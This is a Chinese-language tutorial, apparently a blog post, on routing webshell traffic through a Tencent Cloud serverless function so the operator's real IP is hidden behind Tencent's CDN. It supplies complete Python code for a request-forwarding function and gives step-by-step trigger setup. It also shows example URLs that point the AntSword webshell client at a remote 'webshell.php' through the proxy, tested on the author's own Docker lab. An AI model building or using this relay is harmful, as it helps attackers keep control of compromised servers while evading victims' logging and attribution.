因为腾讯云函数自带CDN,这样我们可以通过腾讯云函数来转发我们的Webshell请求,从而达到隐藏真实IP的目的
首先来到腾讯云后台找到云函数,我们使用自定义的模版:
将下面代码复制到index.py中
代码语言:javascript复制# -*- coding: utf8 -*-
import requests
import json
def geturl(urlstr):
jurlstr = json.dumps(urlstr)
dict_url = json.loads(jurlstr)
return dict_url['u']
def main_handler(event, context):
url = geturl(event['queryString'])
postdata = event['body']
headers=event['headers']
resp=requests.post(url,data=postdata,headers=headers,verify=False)
response={
"isBase64Encoded": False,
"statusCode": 200,
"headers": {'Content-Type': 'text/html;charset=' resp.apparent_encoding},
"body": resp.text
}
return response
部署成功后,点击触发管理->创建触发器
这里需要选择API网关触发
创建成功后,我们就可以看到我们的访问路径
然后在我们的访问路径后面增加?u=webshell一句话木马的地址即可,例如
代码语言:javascript复制https://sxxxxxxxxxxxxxxxxx.gz.apigw.tencentcs.com/release/helloworld-1627229247?u=http://xxxx/webshell.php
这里我用docker-compose来临时搭建了一个PHP服务,利用docker-coompose快速搭建PHP: https://github.com/nanoninja/docker-nginx-php-mysql
然后在对应的文件夹下写一个webshell
然后我们在开启一个终端来实时查看PHP容器的日志信息
这里我通过蚁剑直接连接,可以看到logs显示出了我的真实IP地址
然后我们在尝试通过腾讯云的云函数来访问我们的webshell。打开蚁剑url设置为刚刚复制的云函数访问路径?u=木马路径。
代码语言:javascript复制https://serxxxxxxxxxxxx.gz.apigw.tencentcs.com/release/forwarded?u=http://vps-ip/index.php
然后测试连接成功
然后我们再次访问webshell,可以看到IP已经变为腾讯云CDN的IP
补充:
这里最好在【函数管理】 -> 【函数配置】里面,最好把执行超时时间设置成和蚁剑里面的超时时间一样或者更长